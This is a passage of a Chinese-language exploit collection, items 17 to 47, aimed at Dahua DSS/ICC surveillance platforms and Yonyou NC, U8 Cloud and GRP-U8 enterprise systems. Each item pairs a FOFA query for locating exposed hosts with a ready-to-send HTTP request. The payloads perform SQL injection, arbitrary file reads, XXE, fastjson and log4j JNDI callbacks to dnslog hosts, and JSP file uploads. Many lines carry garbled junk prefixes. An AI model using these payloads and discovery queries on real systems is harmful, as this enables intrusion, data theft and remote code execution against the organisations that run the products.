/ q3 f# u% g* b* k9 ]: mAccept: */*
5 ^1 B% |0 e: u+ F# W3 N+ f) LAccept-Language: en
Accept-Encoding: gzip
/ j5 K& f' j, h! u" A8 }

17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ _7 H/ J% T1 ?9 u7 PConnection: close
Content-Length: 345
5 P3 H% o) Z( O4 [( KAccept-Encoding: gzip
. D) S! D- |( W" }  i3 c4 N* p( u) \
3 {! s( X" \0 t0 y" ?# F" i" f<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
: F+ \1 f% o- W1 }: V<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
7 V5 L# T3 \  `/ v1 G9 \8 Z" w( T      </netMarkings>
2 H, v6 Y+ g6 L- ]/ V" ]1 |    </ns1:deleteBulletin>
  </s11:Body>
' ]! N! o5 a) X3 f5 l</s11:Envelope>


: \+ B1 v5 m. F; H- H18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
" T! R: _" N+ @FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
) T6 J3 A8 x; \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
7 _/ @7 J/ D4 S0 F0 [2 O  f2 V6 T5 B4 fAccept: */*
/ e. G( L. A0 A+ s( N, i' CConnection: keep-alive

, c( O9 P' y7 {3 C7 Q& i( {" }7 l
1 L4 \' w( |* O# w
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
2 v  h+ U0 s. |" u+ L& P, L" XFOFA：app="dahua-DSS"
# `) x7 k% \; W9 |& t7 ~GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
" m+ J4 r/ G* g% p8 E) MHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
, v- q$ Z* B" `' i% y8 J# fConnection: keep-alive
5 @+ p* G9 \: L2 Q1 e

7 G  V1 d: w% Y& E& ?. S" P20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
2 L) d" P$ k' L: D* ]2 x$ tHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
0 q% }) l( c, A2 N  X$ ZAccept: */*
Accept-Language: en
Accept-Encoding: gzip


  R  A3 k2 {7 t7 n5 }21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
1 d0 l8 H4 ^; H% S& N# v% H8 oPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
& L4 A1 @6 P1 i& p/ c5 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( G5 x- W1 v$ [* W2 ]$ C3 B) V" k, H' sContent-Length: 161
' d$ s% i" c+ a" l  {Accept-Encoding: gzip
Connection: close
& J" \; ^6 \1 ~* g, J0 mContent-Type: application/json;charset=utf-8
5 `- R; U, |6 B) f+ R; J% {
8 F7 E8 t  U6 B4 i8 ?{
1 G: A' `( |/ C0 W' X"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
$ Y9 }8 L) Q7 Y4 _    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}


/ t  }* J3 O4 s9 D22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& }* f3 A7 f( S, H8 S$ c0 hFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
9 ]* E& a5 t5 I! n$ ^2 i% |Host: your-ip
4 D, {' O$ g- B: t# d9 M2 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" h! H: _2 O& U% q; eContent-Type: application/json;charset=utf-8
$ ?. s: i  N  q& P# y0 m/ M  ?8 S
{
"loginName":"${jndi:ldap://dnslog}"
$ F4 `4 [5 X* e" E+ }7 R}
- D$ A7 |. `' o1 b- k- M


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
$ b3 a5 E! G  Q. h& c, qHost: your-ip
$ C% L2 n, i2 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 j; T; j. J; JContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
# J% n9 c3 @; m8 v5 {Connection: close

{
    "a":{
0 M0 F$ j# ]6 Z. G" T& M; E        "@type":"com.alibaba.fastjson.JSONObject",
' K9 c& m3 m* ]3 G# m- j       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
/ Z3 I1 V2 B* }8 m6 {9 o9 g5 K}

/ q5 x( a' L: o
24. 用友NC 6.5 accept.jsp任意文件上传
4 Y, r8 f  j, ?0 q3 a/ iFOFA：icon_hash="1085941792"
2 n+ S4 \, Y0 V2 p" @POST /aim/equipmap/accept.jsp HTTP/1.1
: s" y$ o0 |* w# D) B9 g$ _Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
# m* S! N; x, Q( u" j* ]Connection: close
9 P2 l; v, }, e, sContent-Length: 449
( K( q3 ?" f. c. d8 s& K) PAccept: */*
1 p9 c$ I' c0 FAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
) B8 ~8 W& C( }/ t4 g2 l$ y8 s, H
/ S) g! Y" k& |- _. _; U6 L7 T-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
) F7 w0 K1 |/ ]6 l+ T- wContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
1 p+ |& o- [# L$ x# r) NContent-Type: text/plain
: s4 P* L/ D* N; ~( D. a- D
# K3 e9 E' v7 u$ H' G0 @% a<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
; O  m) h4 z$ _. y-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
- X# |6 \, }. F" G4 w

25. 用友NC registerServlet JNDI 远程代码执行
7 ~7 x$ W+ i3 m! w4 VFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
6 X9 \& g2 a' L3 ^9 A, t' {3 E0 n8 bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
' O* w  J  a! v& u! _& FAccept-Encoding: gzip, deflate
  j: s& k& H# r3 `. p4 NAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

6 Y+ ^" y, ^6 h* stype=1&dsname=ldap://dnslog

9 ?. p: {; _# D9 ]3 y, M& N

1 L( \* |+ [8 ~% b/ k7 I26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
; J1 c+ j. K3 P5 D) Y( h- uGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" d" `( ~! ~! E) N! v5 b5 U5 }: MHost: your-ip
$ M; }5 }, N; u, e7 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# R' Y8 C/ T4 c5 l/ UContent-Type: application/x-www-form-urlencoded
- o; m/ _( Y) B; K9 [& MAccept-Encoding: gzip, deflate
Accept: */*
4 m- h# p' F0 A2 _, Y& Q3 f! AConnection: keep-alive
: T# R6 {( W- t) w" b
: l( g) N, `0 u) c6 H7 ~
" w2 }4 R) J* G9 r6 s# B27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
; F" a2 k5 B% i1 B: w5 d4 [: AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
$ p% N  K/ ?% K" i2 ]; aConnection: close
Content-Type: text/xml; charset=utf-8

- k9 i  Z1 w  ~
8 H" X" |2 f- D  \- I  c" l& ]28. 用友NC grouptemplet 任意文件上传
! X. {# _- @; r9 t8 z7 j$ cFOFA：icon_hash="1085941792"
+ Y1 W# y! p6 r$ @6 B" a) }POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
. C8 [6 h9 {9 B# o4 J* ?7 S4 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
/ D% k+ D! {; p) {" _0 ~Content-Length: 268
  F" A+ f2 I! HContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
* S/ k( f" I; ^# _7 V
' x4 q$ ^, _: A: L------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

( ~3 m2 Z2 H+ j9 {. O; e# B
/ t5 o" C. W5 j/uapim/static/pages/nc/head.jsp

9 k  ~1 \! z4 {1 _29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
! R0 Y* Z0 w5 @% I: uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- ?9 \  o: f8 h  mContent-Type: application/x-www-form-urlencoded
9 ~0 D! v% j) `2 P/ `Accept-Encoding: gzip, deflate
Accept: */*
0 k+ R& F% U8 m, F* sConnection: keep-alive
7 P1 |2 q* u) ^% W
: b( G5 r3 r  H
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
" t9 }) e$ d0 D" q  `" m) NPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
/ K# N6 O9 \  D1 d' T
% a- h& m5 \! v: n. m------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
; _0 @0 `, o4 I1 D- B( GContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
; i2 g. a7 W5 M8 W6 D4 W
* ]  r/ y4 Y/ y9 Q( c
3 b$ |- I1 f6 R5 `! `' }31. 用友NC runStateServlet SQL注入
- P" Z, h3 ^6 vversion<=6.5
9 F1 g6 |- z. ^9 wFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
( r  F, F* A  g  a$ w% x8 W+ CGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
- g$ ]. w2 P, A8 Q1 j  Q6 q1 tContent-Type: application/x-www-form-urlencoded
6 I: x& _; A6 `* v  E+ F/ z
' `- @3 x- [3 @
3 b" ~8 F3 u& A6 \2 C! |% o) U% B% D32. 用友NC complainbilldetail SQL注入
5 M# l# x/ v/ Gversion= NC633、NC65
: x0 _. E3 P6 p, l( NFOFA：app="用友-UFIDA-NC"
) L" v  `) l& t. y) sGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 k% Q! h* A, H* C+ ^6 hContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
; G0 S/ z( j" m6 [" ?4 M: rAccept: */*
Connection: keep-alive

, i* u4 g& T0 X. p2 y9 M
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
$ E  ]  L+ C  O& r+ w- wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) |1 P( ^, W  l$ w  C, \' O1 Y, |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
9 s- R# I4 R$ q* d9 I1 F$ s7 E" QConnection: keep-alive
0 [: N' {8 e: c/ u

. F% P+ I- g% N5 [0 x: j34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
4 ]1 s& J& o& R( b" EGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  T/ |1 n6 ~5 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 g  Z( O/ b# EContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
+ d  S8 ~2 C# Z5 o6 k$ I8 JConnection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
1 \, K3 E6 |% K( i! CPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
0 f2 [" X$ B* @( h! nHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
  g, V: y( o/ dAccept-Encoding: gzip, deflate
- k# b8 z0 L  ?Accept: */*
Connection: close
; M! f$ `5 z. _6 q. yaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
$ O2 H; \6 j7 Z0 [7 e5 o1 uContent-Length: 190
9 C$ B7 a% ?( P. K2 L3 dContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
) E6 H0 P  R4 m4 O% @
<%out.println(1111*1111);%>
* R5 [) _4 W0 i* o--fd28cb44e829ed1c197ec3bc71748df0--


& H1 ~, j" C( _" N, K6 u36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
2 h7 H4 ]+ g; ^8 UHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
9 F7 A: L' P+ x! b- JContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

# B% G) H3 }$ P) p* r0 amsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
' F: b' a3 y$ a& _
' k% [( M( S& o
37. 用友NC-Cloud IUpdateService XXE
% X! h0 U$ m' Q" eFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 e' v* V# J) M9 nPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* k' |0 j! d! W2 y9 L/ qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) ~. Z: b2 z+ R. i! ^Content-Type: text/xml;charset=UTF-8
7 N* N/ S% g1 h" ZSOAPAction: urn:getResult
/ z- r: s  @4 g4 C  MUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
2 O7 U; C7 T9 Q$ m8 H<soapenv:Header/>
<soapenv:Body>
; ?' P# x3 x; x& H<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
: W- J- P+ w7 F+ B- F<xxx/>]]></iup:string>
</iup:getResult>
: C' ^+ T! B& e" z. F</soapenv:Body>
8 i, u: z. G( N+ f( c; s: I</soapenv:Envelope>
6 _- h7 A2 t, c' Y/ e/ ]

8 Z1 M4 x* d& ^
1 Y, `! k1 V% h7 y+ H+ D38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
% R; m; N% o6 V8 M' ^8 t- GPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
; i  r/ F2 m* i7 aContent-Length: 260
5 w& e$ F7 f& k" ?; r; g/ E, TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
# T  i8 r3 p& }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' z' N7 ]$ B  YConnection: close
: g9 ~0 ]% H& \2 H: b% iContent-Type: application/x-www-form-urlencoded

% |! s$ s. F0 }0 ~& D3 B( Q2 E4 R__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

/ S7 v' w' _5 t1 A1 ]
( I7 J  ]* S+ h6 a9 w  E& ?39. 用友U8 Cloud RegisterServlet SQL注入
1 k: a. N, J0 e2 J+ @, O' c! j0 I% uFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
3 ?4 h+ ]8 f3 J$ \4 \) ?- e* f1 @Accept: */*
% Q, L. c& s3 [9 ~Accept-Language: en
* {0 I) d/ l2 n$ |6 a7 v3 KContent-Type: application/x-www-form-urlencoded
/ U* b0 D- ?( a) D3 W; y% S2 R: `X-Forwarded-For: 127.0.0.1
: V1 ~9 F* W) k+ S& QAccept-Encoding: gzip

8 ~7 z7 K3 x& }. pusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


4 d! x, m! H; P7 ?* j" k40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
% P0 Z9 }. N2 J& Y. w9 c8 f/ }POST /service/XChangeServlet HTTP/1.1
' J& ?% m9 I; DHost: x.x.x.x
, z& w0 y) `0 A: H/ TUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

) T6 |& d6 _6 D, [, H
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
& `6 Z* p5 [/ P/ K& q) x- NFOFA：app="用友-U8-Cloud"
% ^4 r6 v/ P7 A/ _7 n# z# IGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
+ G# d8 h$ S+ l2 D* y8 [Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 T+ }; v$ W9 u8 m$ lContent-Type: application/json
0 N8 E9 N# t% o6 sAccept-Encoding: gzip
; h+ U  _8 i# f& j2 T+ }0 h& a/ V8 O" yConnection: close
( O7 ]$ Z! Y1 ~$ R# O7 l7 l

- T/ u* N$ A' G8 {42. 用友GRP-U8 SmartUpload01 文件上传
% Z% K: g& ?& P0 m8 W1 X: i! iFOFA：app="用友-GRP-U8"
1 h+ }& W7 i6 c+ [( n% s5 {5 qPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
  Z/ z/ R) w, N4 A

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
& _* Y8 t: m5 \0 P3 c
) l/ _: A/ e: w3 K6 Q43. 用友GRP-U8 userInfoWeb SQL注入致RCE
, B0 s6 q* K+ b8 J. O9 h. uFOFA：app="用友-GRP-U8"
( c& k1 u% l7 |' T4 JPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: n% H: D( g3 x  x7 M: W6 E3 PAccept-Encoding: gzip, deflate
0 [0 m7 g/ A! O2 r4 q6 t: L* C  ]Accept-Language: zh-CN,zh;q=0.9
' Z& _, q; \# l; t4 n2 ?Connection: close
. X* @  Z# S2 b6 Z2 vSOAPAction:
: m9 s- J: S, c8 B" g8 E( m% ?% gContent-Type: text/xml;charset=UTF-8
* @* @$ j' d3 E7 s8 Z6 U5 r
2 K2 J6 P! `  C$ B+ \6 [8 {<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
0 ~! J9 X2 _& X' c5 H- I7 n- @   <soapenv:Body>
( y1 u3 ^* y; d! _  h# g4 a      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
6 F  K! l3 e! g0 M- S+ w+ B         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
9 G3 n5 c1 U& F</soapenv:Envelope>

  o; m7 |7 x: r, {+ [
, ]4 R- x% j, H: t: z44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
2 I  M' F. L( g$ v" a3 U, y7 ]Host: your-ip
. G7 Y" e3 c0 T; ^1 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
5 ^  G- q* b, g& r9 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ B. x2 W: y0 K( `Accept-Encoding: gzip, deflate
4 N4 w3 k- P, |4 wAccept-Language: zh-CN,zh;q=0.9
8 X: A! t3 E: e: E7 BConnection: close
& s; E5 v7 G9 `; B3 `8 L" c

! d- n# i9 E( l3 |- C45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
2 @8 j) Q) }# E) OPOST /ufgovbank HTTP/1.1
. R6 U- P8 L: `# [3 a$ N1 z4 m" VHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
) H6 U0 O1 G, K, N' `4 BConnection: close
8 m* _/ `3 w2 j( k# e0 E2 J5 v: i5 q4 KContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 Y& H) |" c8 P8 }8 OContent-Type: application/x-www-form-urlencoded
- b* y4 i3 l9 |# z! H$ y/ KAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

5 D# c" W9 E5 t& h1 J! G# U/ G, w
2 M% R8 Q4 t+ R- b' q2 k6 L46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, a7 s% k* K8 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 O  i- w, F3 D+ ^! g7 i
3 i9 o3 d7 Y5 S' ?. d
  G5 _, D6 d; t9 k47. 用友GRP A++Cloud 政府财务云 任意文件读取
  k1 O$ m: g5 q$ }5 tFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
( C* N; m4 }- T3 x8 r& N" c% J& |4 BHost: x.x.x.x
1 i* X& i* ?$ S) @9 B7 T; bCache-Control: max-age=0
. e5 U; b  A; S1 R  ^$ ?Upgrade-Insecure-Requests: 1
